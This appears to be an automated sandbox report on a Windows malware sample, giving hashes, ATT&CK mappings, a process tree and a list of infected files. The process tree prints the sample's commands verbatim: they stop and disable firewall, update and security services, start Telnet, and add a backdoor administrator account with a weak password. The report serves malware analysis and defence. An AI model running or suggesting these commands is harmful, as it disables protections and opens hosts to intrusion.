1c6ab1a234a5fd21ccda3471a25b461a6d49a5be5706c4a5ac25d349d7c2fa7f

Analysis

max time kernel
6s
max time network
121s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 01:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe
Size 21.5MB
Sample260808-bpqq9afk71
SHA256 1c6ab1a234a5fd21ccda3471a25b461a6d49a5be5706c4a5ac25d349d7c2fa7f
MD5 59de3af7c61b8925422e14b797d0041d
SHA1 f839bb9e44412f65235ed885cc6f6ae86b7341c9
SHA512 14cc21f56d89d59db79780ee8bcc47f37eadf148f0c1cca13cac0d68eb00c3926e4a27cceeab52ae519b9572e36c2842b4e2323afaebb2ca994ec1607e67df3c
SSDEEP 393216:WTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0ht:IHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfv
TLSH
T1CB37D51126DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
2716	UpdatAuto.exe
3568	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli~4.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Option.bat	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\UnregisterLimit.tmp	UpdatAuto.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4560	sc.exe
2292	sc.exe
1076	sc.exe
2408	sc.exe
796	sc.exe

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1484	cmd.exe
1884	cmd.exe
3312	cmd.exe
6140	cmd.exe
4764	cmd.exe
4604	cmd.exe
6108	cmd.exe
3232	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Runs net.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe
2716	UpdatAuto.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4832 wrote to memory of 3312	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	89
PID 4832 wrote to memory of 2716	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	91
PID 2716 wrote to memory of 6140	2716	UpdatAuto.exe	92
PID 4832 wrote to memory of 3568	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	94
PID 4832 wrote to memory of 4264	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	96
PID 4832 wrote to memory of 1884	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	97
PID 4832 wrote to memory of 1484	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	98
PID 4832 wrote to memory of 3232	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	99
PID 4832 wrote to memory of 6108	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	100
PID 4832 wrote to memory of 4604	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	101
PID 4832 wrote to memory of 4764	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	102
PID 4832 wrote to memory of 796	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	110
PID 4832 wrote to memory of 2408	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	111
PID 4832 wrote to memory of 1076	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	112
PID 4832 wrote to memory of 2292	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	113
PID 4832 wrote to memory of 4560	4832	2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe	114
PID 1884 wrote to memory of 4820	1884	cmd.exe	120
PID 4264 wrote to memory of 2788	4264	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli.exe"
1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4832
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3312
- C:\Windows\SysWOW64\UpdatAuto.exe
  C:\Windows\system32\UpdatAuto.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:6140
- C:\Users\Admin\AppData\Local\Temp\2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli~4.exe
  2026-08-07_59de3af7c61b8925422e14b797d0041d_akira_cobalt-strike_elex_hijackloader_icedid_njrat_redli~4.exe
  2⤵
  - Executes dropped EXE
  PID:3568
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop sharedaccess
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\SysWOW64\net.exe
    net stop sharedaccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sharedaccess
      4⤵
      PID:1308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wuauserv
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4820
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:4588
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wscsvc
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1484
- - C:\Windows\SysWOW64\net.exe
    net stop wscsvc
    3⤵
    PID:6060
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      PID:848
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop srservice
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3232
- - C:\Windows\SysWOW64\net.exe
    net stop srservice
    3⤵
    PID:5452
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop srservice
      4⤵
      PID:3816
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net start TlntSvr
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6108
- - C:\Windows\SysWOW64\net.exe
    net start TlntSvr
    3⤵
    PID:6076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start TlntSvr
      4⤵
      PID:1304
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user helpassistant 123456
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4604
- - C:\Windows\SysWOW64\net.exe
    net user helpassistant 123456
    3⤵
    PID:4676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user helpassistant 123456
      4⤵
      PID:2468
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net localgroup administrators helpassistant /add
  2⤵
  - Executes a command shell one-liner
  PID:4764
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators helpassistant /add
    3⤵
    PID:2864
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators helpassistant /add
      4⤵
      PID:3912
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:796
- C:\Windows\SysWOW64\sc.exe
  sc config SharedAccess start= disabled
  2⤵
  - Launches sc.exe
  PID:2408
- C:\Windows\SysWOW64\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:1076
- C:\Windows\SysWOW64\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2292
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:4560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7z.exe

Path C:\Program Files\7-Zip\7z.exe
Size 22.0MB
SHA256 5f8f4134438634605b1e2e17e724a6245444dfdcadea86bb4da2b08fcb5cd891
MD5 9a0b36edb8c03804968c841a2420322f
SHA1 8f24572d5d2fcce96183cdb52da9f19a8b5a74de
SHA512 bd00364a44c2a72223d8bc3cbab744db2d2204927490695d241b1851a76cd0085bb7718b494dbe703ea93392fad86ceb36d42f2ca4c519a56ae848b1e0ac87ed
SSDEEP 393216:6THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hX:EHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfZ
TLSH
T17337D51161DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zFM.exe

Path C:\Program Files\7-Zip\7zFM.exe
Size 22.4MB
SHA256 d259c0531e0848f994c6e5d2c808acda23449e1c687c871883c20109a835022b
MD5 050264422f9c8e023770fa224652d6d8
SHA1 66e0d4431bd251113f8b13ccfff9d89dd2748e41
SHA512 956e11516f2463769b9e5717d4654062b6ecde10ed335249814a8bcd1e5a8b81b77f613cfdc35b2e38f59889d5d9325f6a41c1f40b9131b44c2e1eb26b509f84
SSDEEP 393216:6THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0h:EHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfP
TLSH
T11E37D51161DA9FECC05FD474CE0669A56A237C468F21AFDF09807E293E756B06E3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zG.exe

Path C:\Program Files\7-Zip\7zG.exe
Size 22.1MB
SHA256 438a35e8bad050ca49f4979935b6ceb8016a6cff9d1113d3aeb6bd3e738b2f06
MD5 5a8053ac822f6d4d361e677172a380d9
SHA1 49dbc75c063c77a84e0b418e1b8b2f159a928b4b
SHA512 32193ff5a3d33486062b132d1e7a37410885022ed8a51adf1c852086266078471fd53786bfdbca7bcdd355ec273c530ea49b52843c41aa00a4c66118d182ce24
SSDEEP 393216:hTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0h:NHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfP
TLSH
T14637D51161DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Uninstall.exe

Path C:\Program Files\7-Zip\Uninstall.exe
Size 21.5MB
SHA256 6f357d8840b82ca4e0fa5cf07fe287fd567c31b3813779eda9c64d7c523ed5a8
MD5 f9ecdee99615c6c3ddc238ef4aef005f
SHA1 9d20818a5a75a40f4741d363d3c47f34b22cdb89
SHA512 187fb0703833455c5930e329e0ae156aff2edb856a54e7c220da066775c7251c07259e71d1b3146fe3a256dccb26e113a114aef22ddea862e42f29d604f11c3e
SSDEEP 393216:OTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0h:QHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfP
TLSH
T10937D51122DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrmstp.exe

Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
Size 27.5MB
SHA256 da44a3e08b4fcf18e35cfc69707a99fe4895e1a0cc24042fdd60c9c52d5142bf
MD5 26e855a5bb41d1dcf7e955fd1fcb831f
SHA1 261f2de0fafc03dfb3a9c2bd0f944202911bbe60
SHA512 72be4001a8aa39c69f8a79fcb6680489f5b473d6fb8d2164f21ef071b242c26e82a84fa8ca1a9f712014869e7bc5289742ceca9bf4429dbf5b63c982167c828f
SSDEEP 786432:0HNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfc07Fz:qYWYWYS1
TLSH
T1AF57F51262998FECC05FD474CE0665A16A237C468F61AFDF19807E693E716E06F3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_pwa_launcher.exe

Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
Size 23.2MB
SHA256 4473e75e5ff5a21a3408c04af786f6f254cf03fbb12b228a47dcc50bab7f88ac
MD5 f32b41dbff4d72f69e8fcdc8f831a1c2
SHA1 ce973cff6d493df009915b25c91af8961c9ba4ec
SHA512 abd7dc59de3f32383a01142346636f12fae053474d3a28d713369ac8c964674403e28c9782471c09df047e8ddd811a0dfa9a86ff689f595e62c0b5676419254b
SSDEEP 393216:KTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hR/:0HNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfX
TLSH
T1E737D41221DA9FECC05F9474CE0665A56A237C468F61AFDF09807E293E756F06E3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevation_service.exe

Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
Size 23.7MB
SHA256 cc3e48d38a949928101981ed3cd41d49ec7819d12e17450e8a0c62a8f0aa8509
MD5 c0f0cb8217611d60725815243e395fd7
SHA1 b88c37a8c89cc4dfb03b9f905112da9ed7efe22a
SHA512 d448d0a42d0beab5a6bc5a0e519fb1429eadf4af0648c937aa9b40326dc57532a296fd454fccbd949128dd8bf5d0694d9dea48641770ec4cf322ab5fa9f64fd6
SSDEEP 393216:KTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hFl0G:0HNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfn
TLSH
T15547D51261DA9FECC05F9474CE0665A56A237C468F21AFDF09807E293E756B06F3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

notification_helper.exe

Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
Size 23.1MB
SHA256 2cf9ec0e525ef55eea28f255df6f14737e9ae43beb74fa420086408311257102
MD5 fd67a5977dd9c3a02bbea30fdfaa1b71
SHA1 132f38ee7243d612b5d5b441dfc967098921303d
SHA512 36e05814824a79a07c8d27d5183ecec159ad50b0c723561fdd6d62660bf1f64172cbb403bdafe0f51fd60b253fd121de991c5ccf63b8411cdc709f633f785465
SSDEEP 393216:KTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0h6f:0HNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qf4
TLSH
T16237D51261DA9FECC05F9474CE0665A56A237C468F21AFDF09807E293E756B06F3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

os_update_handler.exe

Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
Size 23.3MB
SHA256 6f0143f5af17f67e3957f0d11dd7092664423b86df511dc5516ea99b652f18ef
MD5 e1f4757f40ba2c3d4f29dd1536274a7f
SHA1 404f55459cb905cce55d5bcc3bd445ccccf2aaf1
SHA512 5158fdc1b0b286d3b404d0ac19d931d8e9bd79fc9cdf6732d3debb5f9c7d4ec66c441a61f2dfac733e22ccb8ad5f93adeaa2efd0197074f0e8f72891469d651e
SSDEEP 393216:KTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hwC16:0HNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfQ
TLSH
T12337D51261DA9FECC05F9474CE0665A56A237C468F21AFDF09807E293E756B06F3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome.exe

Path C:\Program Files\Google\Chrome\Application\chrome.exe
Size 24.5MB
SHA256 49c31548107431b5757e6bdc23a62b5500a0baf9c608c80eda5e19677a8b54f2
MD5 b9e03c96c33d8e599c81e78e44b55599
SHA1 1f939300e44b48a9d2c8c9a5cd240822f04864c9
SHA512 128e517f315d8f48d1b8cd36a9f7e14fed58a3fc3be748214467219bdedf7f0ec74c91dd03b04741e17182a302133a9f742781042c576f73cfee4c9089923f2b
SSDEEP 786432:0HNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfc06O:qYWYWYpO
TLSH
T17947D51261DA9FECC05FD474CE0665A56A237C458F21AFDF09807E293E766A06F3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_proxy.exe

Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
Size 22.9MB
SHA256 c778f7367f6e49612507b28fbd126365a989aca5e324059ca57dfd02c2079a22
MD5 5962bdd6c7590a5d0d5078f9311e8966
SHA1 df83e22e257e823c3ceea59ff8bc3bad570a5d3a
SHA512 9eb0f4cccedc7453de0f075bbfd8e2580516961113682b367bd00ee1a6c692fc8057efa62f8531c480be6f42d9892999360aa85281953dd991315af1a80c6dd8
SSDEEP 393216:KTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hi0:0HNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfz
TLSH
T16237D51261DA9FECC05F9474CE0665A56A237C468F21AFDF09807E293E756B06F3821F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

appletviewer.exe

Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
Size 21.5MB
SHA256 334714df75a9d2561eeb8ab80c7d5af37ac2f3963bb5d085992e3e928c49f85f
MD5 2c136b3fb243716a470bfad1a1620f4c
SHA1 56559455282113074f08e86d898d5d36905050ca
SHA512 9d5302fc1d4136f485b50c4e2ae601cde5401d4869867e69081e6f74fa7b5f2c8263842b4e18f117dc46af9c9f16a914e6277d249c7324761dace8c5108c648a
SSDEEP 393216:2THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hZ:oHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qf/
TLSH
T11B37D51225DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extcheck.exe

Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
Size 21.5MB
SHA256 f9321297c2995f94c52c11c072d34530765f78a7e6efb711f258b443e337428f
MD5 c53650194cc05360d878bdfb211a5dc5
SHA1 43d844e21f451326e8b51c1541102b8f3c1a182e
SHA512 d5e28b16702522dc82b3dae8edff6efb2d23c5162f44f4a0358b0cad7992996470e594a3b9a76129d2e89d23a31dda8945674ab6d54b695c5947f1daee12112f
SSDEEP 393216:2THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hd:oHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfv
TLSH
T15137D51225DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idlj.exe

Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
Size 21.5MB
SHA256 73986ce500b4d641dfabe8a32da500b38516679ae94f8f4547410b472d94d809
MD5 f5dd1a51c7a13ca5e1ea35dd2a70b80b
SHA1 787a5b9ea85d9fc531af83f55c7f85ecac92d957
SHA512 4a87f44ac4d7e454c4ab8b938bb29e740c3a77ea5f2185de604b4a528d4134eba5d311a58daa3c56b5bf3c0c25fb5201f14ae3c4f47e76d2ba169ab80a70cc22
SSDEEP 393216:2THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0he:oHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfA
TLSH
T1C137D51225DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jabswitch.exe

Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
Size 21.5MB
SHA256 827d0bdbfa37d94174c036558e2d7ea601e8aa15dc60b1583aae9d5a339286c6
MD5 bda0786d2daefb59c9ac0432f98c3a7d
SHA1 2e498c2bb813d4f84067da2b968b21a148973bef
SHA512 195cdfa6ef04d40c3e46841ccfb420ecd9371c58eee075dc52b4fc309e31670501da0d5d1e006355cd5f244193f0cd53a3ddcf08f7e0918af4e6e49278359cdd
SSDEEP 393216:GTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hb:YHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfZ
TLSH
T1A937D51126DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jar.exe

Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
Size 21.5MB
SHA256 2b31b268765e0d0d6204996c169869d2716bad2140965f6dcea3d2ea784e8445
MD5 ba0d41b697605b99f5ad334c6d38087f
SHA1 30000b75a4cf4a9d1a1378c4d0f64595b0bd8a4d
SHA512 b97a2a541e3a99968834c77ad1ea260862ae5b0e0bb621f7619084ceacef090dd757d4d16affd4b06fc930385f3d759332bd8dde8d1c3a6669007b856ccda1f7
SSDEEP 393216:2THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0h+:oHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfk
TLSH
T15737D51225DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jarsigner.exe

Path C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe
Size 21.5MB
SHA256 f8916022d362065e48c630056915ec91423b8a6bb9c5c437315ebe564624f663
MD5 2ab17ce6472c4226940f03e4c6ba002d
SHA1 aec58e8b836faf54859237be27064b7d23f37ef1
SHA512 c43914975b0192b80bcb742e62dba3bd4d790383cf7799047455f9771bcd463527fee57aad55b677977d9192728aed8dfe061ac744814489fa2a4be288e495ad
SSDEEP 393216:2THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hZ:oHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfb
TLSH
T14437D51225DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dotnet.exe

Path C:\Program Files\dotnet\dotnet.exe
Size 21.6MB
SHA256 df92a1cf2494728ac941b508a190767c747af41db6ca55dc93aaeba47e943ddf
MD5 78cf90a07c2b98fa4a54b7796387cdfa
SHA1 65b2ae4ed81c6c70f89dd1914d15258e334164fd
SHA512 a37914e9ad5b43d6286f2af3dfda4ba8ac5962d0754aea08d9c78cfa647c6f68f0910efa2bb7d43debd6e38ddddb5bc775f413b3d1f1a4b7e789114d0e1b2362
SSDEEP 393216:CTHNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hl:8HNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfj
TLSH
T15737E51161DA9FECC05F9434CE0669A56A237C468F61AFDF0980BE293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

createdump.exe

Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
Size 21.5MB
SHA256 cf5a4e558034df1364ee643988f6756725e09608482d5eda47f4b47f95f78694
MD5 e84f19fbbc273ec2c7e80746a0ad9d07
SHA1 6a3b62ac29a90e7f451ceb127bd99b9ec33a7f06
SHA512 67afb5ebdfde4235c274b7004f3be1ebd1fbe3e583b1194a7c29b307f1afc8ce881567bb6e802874197c234d0ac4048813fd36d827a10447580504ac5d6f990a
SSDEEP 393216:2THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hR:oHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1QfP
TLSH
T14E37D51126DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

createdump.exe

Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
Size 21.5MB
SHA256 361bdf24fd62bece8723b2a577f60f3951687850c6e4019f411560a8f0d18539
MD5 5f5ce7e8fb2e86401153eb544f0e6722
SHA1 96394d18ff7ab1b63137d29ca802487c21f4fa20
SHA512 2b6bcc6168c8c5446c263cbbe98f11eb82d4082485feb6e9161457245831f866e1b3208e1a0b1b4d3e244c24327604087b9770f3a03ddbbf10119623086b9225
SSDEEP 393216:2THNBpu1Qfc0hfTHNBpu1Qfc0hfTHNBpu1Qfc0hzj:oHNBpu1Qfc0FHNBpu1Qfc0FHNBpu1Qfp
TLSH
T10C37D51162DA9FECC05F9474CE0669A56A237C468F21AFDF09807E293E756B06F3811F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

createdump.exe

Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
Size 21.5MB
